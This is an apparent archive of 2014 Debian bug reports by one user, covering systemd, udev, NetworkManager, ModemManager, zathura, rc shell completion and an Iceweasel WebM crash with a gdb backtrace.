/var/lib/systemd/deb-systemd-helper-enabled/local-fs.target.wants/lvm2-activation.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/dbus-org.freedesktop.NetworkManager.service
 ==

== /var/lib/systemd/deb-systemd-helper-enabled/cron.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/cron.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/lvm2-activation.service.dsh-also ==

Bug#771561: closed by Ben Hutchings b...@decadent.org.uk (Re: systemd package is missing dependency on Linux kernel (linux-image?))

2014-11-30 Thread Nils Dagsson Moskopp
What course of action would do propose to ensure that systemd is always
upgraded in lockstep with the kernel version? Maybe have a versioned
”Breaks” entry for systemd regarding older Linux kernel versions?

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgpgKbWtwNyjq.pgp
Description: PGP signature


Bug#771561: closed by Ben Hutchings b...@decadent.org.uk (Re: systemd package is missing dependency on Linux kernel (linux-image?))

2014-11-30 Thread Nils Dagsson Moskopp
Matthias Klumpp m...@debian.org writes:

 2014-11-30 21:01 GMT+01:00 Nils Dagsson Moskopp 
 n...@dieweltistgarnichtso.net:
 What course of action would do propose to ensure that systemd is always
 upgraded in lockstep with the kernel version? Maybe have a versioned
 ”Breaks” entry for systemd regarding older Linux kernel versions?

 Unfortunately, you can't ensure that - people might still boot an
 older kernel, or compile their own kernel and run that instead of what
 we ship with Debian.

Of course you cannot ensure that people who run systemd will break their
systems by sidestepping package management. You could, however, accept
that the common case of someone upgrading the OS, should not break it.

I think this is not a question of if, but when systemd upstream will
increase the kernel version numbers they still do support. They have
shown that they stay close to their plans – except when it involves
maintaining backward compatibility “for a long time” (I mean udev).

 The best thing would IMHO be a check in systemd to abort boot with a
 meaningful message in case an unsupported (= too old) kernel is used.

It would certainly be helpful, but really, where would you go from that?
If you could just revert to the previous state of the system (e.g. init
other than systemd, older version of systemd), this would not present a
problem. After reading the meaningful message, how would a user proceed?

Would it be possible to test systemd inside a container or VM as part of
the package upgrade process? Would you be willing to depend on snapshot
features delivered by a file system (btrfs) to make upgrades reliable?

 Also, the systemd package can only be updated if the kernel providing
 features it needs is set as default (this still wound't solve the case
 of partial upgrades though).

I read it as this is already the case. Good! However, that still means
that the systemd package does not specify its dependencies correctly –
no one can independently reason about it, because the fact that it
depends on Linux kernel versions stays out of band information.

I have a suspicion that the package management breakage that occurs as
part of the deliberate breakage delivered by systemd upstream will be
sufficiently worked around in some systemd release, obsoleting dpkg.

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgpTjclE9214m.pgp
Description: PGP signature


Bug#771561: Bug:#771561: systemd: please remove /etc/fstab from bug report

2014-11-30 Thread Nils Dagsson Moskopp
Don Armstrong d...@debian.org writes:

 I have deleted the contents of /etc/fstab from this bug report. From the
 bug log it seems that the bug script actually does ask before attaching
 it. It would probably be better to ask specifically for each of the
 files that is attached after showing it, but I'm not going to mandate
 that.

Thank you for that. I did report this using an older version of systemd
(204-8) that still had the bug and was not aware that any process would
attach files that I did not notice in the editor when not asked about.

Can I disable auto-attaching files for reportbug globally so this can
not happen again? Is there some other policy I can set regarding files?

 On Sun, 30 Nov 2014, Niels Thykier wrote:
 Nils (CC'ed) have requested the removal of an attached file from bug
 report, see below (#771561, BCC'ed to avoid duplicate requests to you).
 
 The file is attached to #771561, comment #5.

 OK. I'll go ahead and replace this file with a dummy fstab file, but
 anything in there should be considered exposed to the world.

 -- 
 Don Armstrong  http://www.donarmstrong.com

 Once, our bodies were bells:
 Simply moving in the wind
 We tolled our names.
  -- Phillis Levin Poetry in Motion p55

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgpPtGER6jKHA.pgp
Description: PGP signature


Bug#771478: rdup: upstream source URL changed

2014-11-29 Thread Nils Dagsson Moskopp
Package: rdup
Severity: minor

Dear Maintainer,

the Homepage of rdup is shown as http://miek.nl/projects/rdup/.
I think it has changed to http://archive.miek.nl/projects/rdup/.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770989: network-manager-gnome: after update, nm-applet only works as root

2014-11-25 Thread Nils Dagsson Moskopp
Package: network-manager-gnome
Version: 0.9.10.0-2
Severity: important

Dear Maintainer,


after updating my system using apt-get update, I can no longer enable and 
disable
wired, wireless and broadband networking via nm-applet as a normal user. I 
cannot
connect to broadband as normal user. The error message has the following text:

--- snib ---
(32) org.freedesktop.NetworkManager.network-control request failed: not 
authorized
--- snab ---

I can enable and disable wired, wireless and broadband networking via nm-applet
if I start nm-applet is root and can also connect to broadband then. I have been
able to use nm-applet in the past and want to do that again. Could I configure
NetworkManager so that any request from a user is authorized?

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages network-manager-gnome depends on:
ii  dbus-x11 1.8.10-1
ii  dconf-gsettings-backend [gsettings-backend]  0.22.0-1
ii  gconf-service3.2.6-3
ii  gnome-icon-theme 3.12.0-1
ii  libc62.19-13
ii  libcairo21.14.0-2.1
ii  libdbus-1-3  1.8.10-1
ii  libdbus-glib-1-2 0.102-1
ii  libgconf-2-4 3.2.6-3
ii  libgdk-pixbuf2.0-0   2.31.1-2+b1
ii  libglib2.0-0 2.42.0-2
ii  libgnome-keyring03.12.0-1+b1
ii  libgtk-3-0   3.12.1-1
ii  libmm-glib0  1.4.0-1
ii  libnm-glib-vpn1  0.9.10.0-3
ii  libnm-glib4  0.9.10.0-3
ii  libnm-gtk0   0.9.10.0-2
ii  libnm-util2  0.9.10.0-3
ii  libnotify4   0.7.6-2
ii  libpango-1.0-0   1.36.8-2
ii  libpangocairo-1.0-0  1.36.8-2
ii  libsecret-1-00.18-1+b1
ii  network-manager  0.9.10.0-3
ii  policykit-1-gnome0.105-2

Versions of packages network-manager-gnome recommends:
ii  dunst [notification-daemon]  1.1.0-1
ii  gnome-keyring3.14.0-1+b1
ii  iso-codes3.57-1
ii  mobile-broadband-provider-info   20140317-1
ii  notification-daemon  0.7.6-2
ii  xfce4-notifyd [notification-daemon]  0.2.4-3

Versions of packages network-manager-gnome suggests:
pn  network-manager-openconnect-gnome  none
ii  network-manager-openvpn-gnome  0.9.10.0-1
pn  network-manager-pptp-gnome none
pn  network-manager-vpnc-gnome none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770871: modemmanager: ModemManager does not start automatically

2014-11-24 Thread Nils Dagsson Moskopp
Package: modemmanager
Version: 1.4.0-1
Severity: important

Dear Maintainer,

for some time now ModemManager is not starting up automatically anymore.
This means I have to start it explicitly via “/usr/sbin/ModemManager”.
While this does not break MM completely, I think it is not so nice.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages modemmanager depends on:
ii  init-system-helpers1.21
ii  libc6  2.19-13
ii  libglib2.0-0   2.42.0-2
ii  libgudev-1.0-0 215-5+b1
ii  libmbim-glib4  1.10.0-2
ii  libmbim-proxy  1.10.0-2
ii  libmm-glib01.4.0-1
ii  libpolkit-gobject-1-0  0.105-7
ii  libqmi-glib1   1.10.2-2
ii  libqmi-proxy   1.10.2-2

Versions of packages modemmanager recommends:
ii  usb-modeswitch  2.1.1+repack0-1

modemmanager suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770876: udev: Linux 3.2.0 with udev 215 breaks X11 keyboard and mouse

2014-11-24 Thread Nils Dagsson Moskopp
Package: udev
Version: 215-5+b1
Severity: important

Dear Maintainer,


today a friend of mine upgraded her laptop from Wheezy to testing.
It seems to me that this action pulled systemd via a newer udev.
She explained to me that she had erroneously installed Wheezy,
but had actually wanted to install Jessie / testing instead.

For reasons I still do not understand, systemd was unable to mount
/boot as ext2. I have been unable to make the Linux kernel load the
ext2 module – modprobe exited zero, but lsmod did not show the ext2
module and /proc/filesystems showed support for ext4 but not ext2.

I was have been able to make it mount /boot as ext4 and found out
that upon starting X11, the mouse and keyboard became unresponsive.
I have verified that this happened as soon as X11 had been started.

I suspect that this has something to do with udev not working with
the older Linux kernel 3.2.0 that my friend installed from Wheezy.

When installing linux-image-686-pae, Linux kernel 3.16 got installed.
This apparently fixed the keyboard and mouse issue, stuff works now.

I can not claim to know what exactly went on there, but I would suggest
that the udev maintainers make udev 215-5+b1 depend on the lowest Linux
kernel version that does not break keyboard and mouse in X11, which I
highly suspect to be a version  Linux 3.2.0 and = Linux 3.2.16.

An upgrade from Wheezy to Jessie should really not break a system.


-- Package-specific info:
--
udev database:
--
P: /devices/LNXSYSTM:00
E: DEVPATH=/devices/LNXSYSTM:00
E: MODALIAS=acpi:LNXSYSTM:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/LNXCPU:00
E: DEVPATH=/devices/LNXSYSTM:00/LNXCPU:00
E: MODALIAS=acpi:LNXCPU:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/LNXCPU:01
E: DEVPATH=/devices/LNXSYSTM:00/LNXCPU:01
E: MODALIAS=acpi:LNXCPU:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/LNXPWRBN:00
E: DEVPATH=/devices/LNXSYSTM:00/LNXPWRBN:00
E: DRIVER=button
E: MODALIAS=acpi:LNXPWRBN:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/LNXPWRBN:00/input/input4
E: DEVPATH=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input4
E: EV=3
E: ID_FOR_SEAT=input-acpi-LNXPWRBN_00
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXPWRBN:00
E: ID_PATH_TAG=acpi-LNXPWRBN_00
E: KEY=10 0 0 0
E: MODALIAS=input:b0019vp0001e-e0,1,k74,ramlsfw
E: NAME=Power Button
E: PHYS=LNXPWRBN/button/input0
E: PRODUCT=19/0/1/0
E: PROP=0
E: SUBSYSTEM=input
E: TAGS=:seat:
E: USEC_INITIALIZED=307277

P: /devices/LNXSYSTM:00/LNXPWRBN:00/input/input4/event3
N: input/event3
E: BACKSPACE=guess
E: DEVNAME=/dev/input/event3
E: DEVPATH=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input4/event3
E: DMI_VENDOR=LENOVO
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXPWRBN:00
E: ID_PATH_TAG=acpi-LNXPWRBN_00
E: MAJOR=13
E: MINOR=67
E: SUBSYSTEM=input
E: TAGS=:power-switch:
E: USEC_INITIALIZED=1876317
E: XKBLAYOUT=de
E: XKBMODEL=pc105
E: XKBOPTIONS=terminate:ctrl_alt_bksp
E: XKBVARIANT=neo

P: /devices/LNXSYSTM:00/device:00
E: DEVPATH=/devices/LNXSYSTM:00/device:00
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00
E: MODALIAS=acpi:PNP0A08:PNP0A03:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00
E: DRIVER=video
E: MODALIAS=acpi:LNXVIDEO:
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:02
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:02
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:03
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:03
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:04
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/device:04
E: SUBSYSTEM=acpi

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/input/input5
E: DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/input/input5
E: EV=3
E: ID_FOR_SEAT=input-acpi-LNXVIDEO_00
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXVIDEO:00
E: ID_PATH_TAG=acpi-LNXVIDEO_00
E: KEY=3e000b 0 0 0 0 0 0 0
E: MODALIAS=input:b0019vp0006e-e0,1,kE0,E1,E3,F1,F2,F3,F4,F5,ramlsfw
E: NAME=Video Bus
E: PHYS=LNXVIDEO/video/input0
E: PRODUCT=19/0/6/0
E: PROP=0
E: SUBSYSTEM=input
E: TAGS=:seat:
E: USEC_INITIALIZED=331153

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/input/input5/event4
N: input/event4
E: BACKSPACE=guess
E: DEVNAME=/dev/input/event4
E: 
DEVPATH=/devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:00/input/input5/event4
E: DMI_VENDOR=LENOVO
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXVIDEO:00
E: ID_PATH_TAG=acpi-LNXVIDEO_00
E: MAJOR=13
E: MINOR=68
E: SUBSYSTEM=input
E: TAGS=:power-switch:
E: USEC_INITIALIZED=1882587
E: XKBLAYOUT=de
E: XKBMODEL=pc105
E: XKBOPTIONS=terminate:ctrl_alt_bksp
E: XKBVARIANT=neo

P: /devices/LNXSYSTM:00/device:00/PNP0A08:00/device:01
E: 

Bug#770878: zathura lies about copying selected text

2014-11-24 Thread Nils Dagsson Moskopp
Package: zathura
Version: 0.3.1-2
Severity: normal

Dear Maintainer,

today a friend of mine did mark text in zathura. He was confused,
because zathura claimed to have copied the selected text to the
clipboard. By default though, zathura does not copy to CLIPBOARD,
but to the PRIMARY selection, exactly like other X11 applications.

The text in the zathura status bar should really be something like
“Copied selected text to primary selection” if zathura uses PRIMARY
and only be “Copied selected text to clipboard” if zathura uses X11
CLIPBOARD. The latter can be achieved with a “selection-clipboard”
option in zathurarc, which can be set to the value “clipoard”.

Please remove lies from interface.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages zathura depends on:
ii  libc6 2.19-13
ii  libcairo2 1.14.0-2.1
ii  libgirara-gtk3-1  0.2.3-1
ii  libglib2.0-0  2.42.0-2
ii  libgtk-3-03.12.1-1
ii  libmagic1 1:5.20-2
ii  libpoppler-glib8  0.26.4-1
ii  libsqlite3-0  3.8.7.1-1
ii  libsynctex1   2014.20140926.35254-3

zathura recommends no packages.

Versions of packages zathura suggests:
ii  conkeror [www-browser] 1.0~~pre-1+git141025-1
ii  dillo [www-browser]3.0.4-2+b1
ii  elinks [www-browser]   0.12~pre6-5+b2
ii  iceweasel [www-browser]31.2.0esr-3
ii  links2 [www-browser]   2.8-2+b3
ii  lynx-cur [www-browser] 2.8.9dev1-2+b1
ii  netsurf-gtk [www-browser]  3.2+dfsg-2+b1
ii  poppler-data   0.4.7-1
ii  w3m [www-browser]  0.5.3-19
pn  zathura-cb none
pn  zathura-djvu   none
pn  zathura-ps none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770711: rc filename completion does not escape single quote

2014-11-23 Thread Nils Dagsson Moskopp
Package: rc
Version: 1.7.2-1
Severity: normal

Dear Maintainer,


when completing filenames that include single quotes, rc does not escape the 
quotes.

I wanted to play the MIDI file “Dawn's Lament - Safalra.mid”.
Therefore, I typed in “timidity 'D” and pressed the tab key.

rc created the line “timidity 'Dawn's Lament - Safalra.mid'”.
Pressing the return key does not play the song in question.

In rc, single quotes inside single quotes need to be escaped;
the line should be “timidity 'Dawn''s Lament - Safalra.mid'”.

Though the problem might sound rare, it actually is not;
youtube-dl often produces files including single quotes.
Among 128 videos that I have downloaded using youtube-dl,
12 do contain at least one single quote in the filename.

The MIDI file from above and others can be downloaded here:
http://safalra.com/other/once-more-with-feeling-midis/


-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages rc depends on:
ii  libc6 2.19-11
ii  libreadline6  6.3-8

rc recommends no packages.

rc suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#659812: modemmanager: Modemmanager doesn't initialize Nokia N900

2014-11-23 Thread Nils Dagsson Moskopp
Package: modemmanager
Followup-For: Bug #659812

Dear Maintainer,

I believe this bug is fixed. I can connect using my Nokia N900.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages modemmanager depends on:
ii  init-system-helpers1.21
ii  libc6  2.19-11
ii  libglib2.0-0   2.42.0-2
ii  libgudev-1.0-0 215-5+b1
ii  libmbim-glib4  1.10.0-2
ii  libmbim-proxy  1.10.0-2
ii  libmm-glib01.4.0-1
ii  libpolkit-gobject-1-0  0.105-6.1
ii  libqmi-glib1   1.10.2-2
ii  libqmi-proxy   1.10.2-2

Versions of packages modemmanager recommends:
ii  usb-modeswitch  2.1.1+repack0-1

modemmanager suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770490: iceweasel: WebM loading crashes iceweasel

2014-11-21 Thread Nils Dagsson Moskopp
Package: iceweasel
Version: 31.2.0esr-3
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

I loaded the attached video. This crashed iceweasel with the following message:
 out of memory: 0x bytes requested
 Segmentation fault

I am concerned this could be exploitable.

-- Package-specific info:


-- Addons package information

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages iceweasel depends on:
ii  debianutils   4.4
ii  fontconfig2.11.0-6.1
ii  libasound21.0.28-1
ii  libatk1.0-0   2.14.0-1
ii  libc6 2.19-11
ii  libcairo2 1.12.16-2
ii  libdbus-1-3   1.8.8-1+b1
ii  libdbus-glib-1-2  0.102-1
ii  libevent-2.0-52.0.21-stable-1.1
ii  libffi6   3.1-2
ii  libfontconfig12.11.0-6.1
ii  libfreetype6  2.5.2-2
ii  libgcc1   1:4.9.1-16
ii  libgdk-pixbuf2.0-02.30.8-1
ii  libglib2.0-0  2.42.0-2
ii  libgtk2.0-0   2.24.24-1
ii  libhunspell-1.3-0 1.3.3-2
ii  libnspr4  2:4.10.7-1
ii  libnss3   2:3.17.1-1
ii  libpango-1.0-01.36.8-2
ii  libsqlite3-0  3.8.6-1
ii  libstartup-notification0  0.12-4
ii  libstdc++64.9.1-16
ii  libvpx1   1.3.0-2.1
ii  libx11-6  2:1.6.2-3
ii  libxext6  2:1.3.2-1
ii  libxrender1   1:0.9.8-1
ii  libxt61:1.1.4-1
ii  procps2:3.3.9-8
ii  zlib1g1:1.2.8.dfsg-2

iceweasel recommends no packages.

Versions of packages iceweasel suggests:
pn  fonts-mathjax  none
pn  fonts-oflb-asana-math  none
pn  fonts-stix | otf-stix  none
ii  libcanberra0   0.30-2.1
ii  libgnomeui-0   2.24.5-3
ii  libgssapi-krb5-2   1.12.1+dfsg-10
pn  mozplugger none

-- no debconf information


SHUT-IT-DOWN.webm
Description: video/webm


Bug#770490: iceweasel: WebM loading crashes iceweasel

2014-11-21 Thread Nils Dagsson Moskopp
Package: iceweasel
Version: 31.2.0esr-3
Followup-For: Bug #770490

Dear Maintainer,

the mozilla bug for this is 
https://bugzilla.mozilla.org/show_bug.cgi?id=1102998.

I used gdb to debug iceweasel, with iceweasel-dbg installed. Not much came from 
it:
--- snib ---
(gdb) continue
Continuing.
[Thread 0x922fab40 (LWP 12302) exited]
[Thread 0x9cfffb40 (LWP 12477) exited]
[New Thread 0x922fab40 (LWP 12671)]
[New Thread 0x9cfffb40 (LWP 12672)]
[New Thread 0x918ffb40 (LWP 12673)]
[New Thread 0x909ffb40 (LWP 12674)]
[New Thread 0x9a17db40 (LWP 12675)]
[New Thread 0x9798db40 (LWP 12676)]
[New Thread 0x9796cb40 (LWP 12677)]
[New Thread 0x9794bb40 (LWP 12678)]
[New Thread 0x9792ab40 (LWP 12679)]
[New Thread 0x932fcb40 (LWP 12680)]
[New Thread 0x8ff5cb40 (LWP 12681)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x9796cb40 (LWP 12677)]
mozalloc_abort (msg=0x9796beba out of memory: 0x bytes 
requested)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_abort.cpp:30
30  
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_abort.cpp: 
Datei oder Verzeichnis nicht gefunden.
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xb76db424 in __kernel_vsyscall ()
(gdb) quit
A debugging session is active.

Inferior 1 [process 12255] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/bin/iceweasel, process 12255
--- snab ---

-- Package-specific info:


-- Addons package information

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages iceweasel depends on:
ii  debianutils   4.4
ii  fontconfig2.11.0-6.1
ii  libasound21.0.28-1
ii  libatk1.0-0   2.14.0-1
ii  libc6 2.19-11
ii  libcairo2 1.12.16-2
ii  libdbus-1-3   1.8.8-1+b1
ii  libdbus-glib-1-2  0.102-1
ii  libevent-2.0-52.0.21-stable-1.1
ii  libffi6   3.1-2
ii  libfontconfig12.11.0-6.1
ii  libfreetype6  2.5.2-2
ii  libgcc1   1:4.9.1-16
ii  libgdk-pixbuf2.0-02.30.8-1
ii  libglib2.0-0  2.42.0-2
ii  libgtk2.0-0   2.24.24-1
ii  libhunspell-1.3-0 1.3.3-2
ii  libnspr4  2:4.10.7-1
ii  libnss3   2:3.17.2-1
ii  libpango-1.0-01.36.8-2
ii  libsqlite3-0  3.8.6-1
ii  libstartup-notification0  0.12-4
ii  libstdc++64.9.1-16
ii  libvpx1   1.3.0-2.1
ii  libx11-6  2:1.6.2-3
ii  libxext6  2:1.3.2-1
ii  libxrender1   1:0.9.8-1
ii  libxt61:1.1.4-1
ii  procps2:3.3.9-8
ii  zlib1g1:1.2.8.dfsg-2

iceweasel recommends no packages.

Versions of packages iceweasel suggests:
pn  fonts-mathjax  none
pn  fonts-oflb-asana-math  none
pn  fonts-stix | otf-stix  none
ii  libcanberra0   0.30-2.1
ii  libgnomeui-0   2.24.5-3
ii  libgssapi-krb5-2   1.12.1+dfsg-10
pn  mozplugger none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770490: iceweasel: WebM loading crashes iceweasel

2014-11-21 Thread Nils Dagsson Moskopp
Package: iceweasel
Version: 31.2.0esr-3
Followup-For: Bug #770490

Dear Maintainer,

the bug has done goofed.
Because I backtraced it.
And it's been reported to cyber police.

--- 퐬퐧퐢퐛 ---
(gdb) continue
Continuing.
[New Thread 0x932fcb40 (LWP 13657)]
[New Thread 0x92afbb40 (LWP 13658)]
[Thread 0x9cfffb40 (LWP 13610) exited]
[Thread 0x9eb9fb40 (LWP 13606) exited]
[New Thread 0x9eb9fb40 (LWP 13659)]
[New Thread 0x9cfffb40 (LWP 13660)]
[Thread 0x932fcb40 (LWP 13657) exited]
[New Thread 0x925ffb40 (LWP 13661)]
[New Thread 0x91dfeb40 (LWP 13662)]
[New Thread 0x915fdb40 (LWP 13663)]
[New Thread 0x90dfcb40 (LWP 13664)]
[New Thread 0x905fbb40 (LWP 13665)]
[New Thread 0x9a26fb40 (LWP 13666)]
[New Thread 0x9a22cb40 (LWP 13667)]
[New Thread 0x932fcb40 (LWP 13668)]
[New Thread 0x9793cb40 (LWP 13669)]
[New Thread 0x96e65b40 (LWP 13670)]
[New Thread 0x96e44b40 (LWP 13671)]
[New Thread 0x8f3ffb40 (LWP 13672)]
[New Thread 0x8ebfeb40 (LWP 13673)]
[New Thread 0x8e3fdb40 (LWP 13674)]
[Thread 0x932fcb40 (LWP 13668) exited]
[New Thread 0x96e23b40 (LWP 13675)]
[New Thread 0x8d4ffb40 (LWP 13676)]
[Thread 0x8ebfeb40 (LWP 13673) exited]
[Thread 0x9eb9fb40 (LWP 13659) exited]
[New Thread 0x932fcb40 (LWP 13677)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x96e65b40 (LWP 13670)]
mozalloc_abort (msg=0x96e64eba out of memory: 0x bytes 
requested)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_abort.cpp:30
30  
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_abort.cpp: 
Datei oder Verzeichnis nicht gefunden.
(gdb) bt
#0  mozalloc_abort (
msg=0x96e64eba out of memory: 0x bytes requested)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_abort.cpp:30
#1  0xb77a028c in mozalloc_handle_oom (size=0)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc_oom.cpp:50
#2  0xb779fecd in moz_xmalloc (size=4294967295)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/memory/mozalloc/mozalloc.cpp:54
#3  0xb431af26 in operator new [] (size=optimized out)
at ../../../dist/include/mozilla/mozalloc.h:213
#4  mozilla::WebMReader::DecodeAudioPacket (this=0x9e0c5000, 
aPacket=0x98acd7f0, 
aOffset=68757)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/content/media/webm/WebMReader.cpp:690
#5  0xb431b3ef in mozilla::WebMReader::DecodeAudioData (this=0x9e0c5000)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/content/media/webm/WebMReader.cpp:826
#6  0xb42d1f83 in mozilla::MediaDecoderStateMachine::DecodeAudio 
(this=0xab69ecc0)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/content/media/MediaDecoderStateMachine.cpp:680
#7  0xb42cbc50 in nsRunnableMethodImplvoid 
(mozilla::MediaDecoderStateMachine::*)(), void, true::Run (this=0x9e066820) at 
../../dist/include/nsThreadUtils.h:387
#8  0xb42e1271 in mozilla::MediaTaskQueue::Runner::Run (this=0x98da0750)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/content/media/MediaTaskQueue.cpp:127
#9  0xb35ab1dd in nsThreadPool::Run (this=0x9d3b18d0)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/xpcom/threads/nsThreadPool.cpp:211
#10 0xb35a8ab0 in nsThread::ProcessNextEvent (this=0xab1f7ef0, mayWait=true, 
result=0x96e651fb)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/xpcom/threads/nsThread.cpp:715
#11 0xb355d196 in NS_ProcessNextEvent (thread=optimized out, mayWait=true)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/xpcom/glue/nsThreadUtils.cpp:263
#12 0xb376f918 in mozilla::ipc::MessagePumpForNonMainThreads::Run 
(this=0x9a175d90, 
aDelegate=0x9d43a860)
at /build/iceweasel-JlTf0H/iceweasel-31.2.0esr/ipc/glue/MessagePump.cpp:336
#13 0xb375f445 in MessageLoop::RunInternal (this=0x9d43a860)
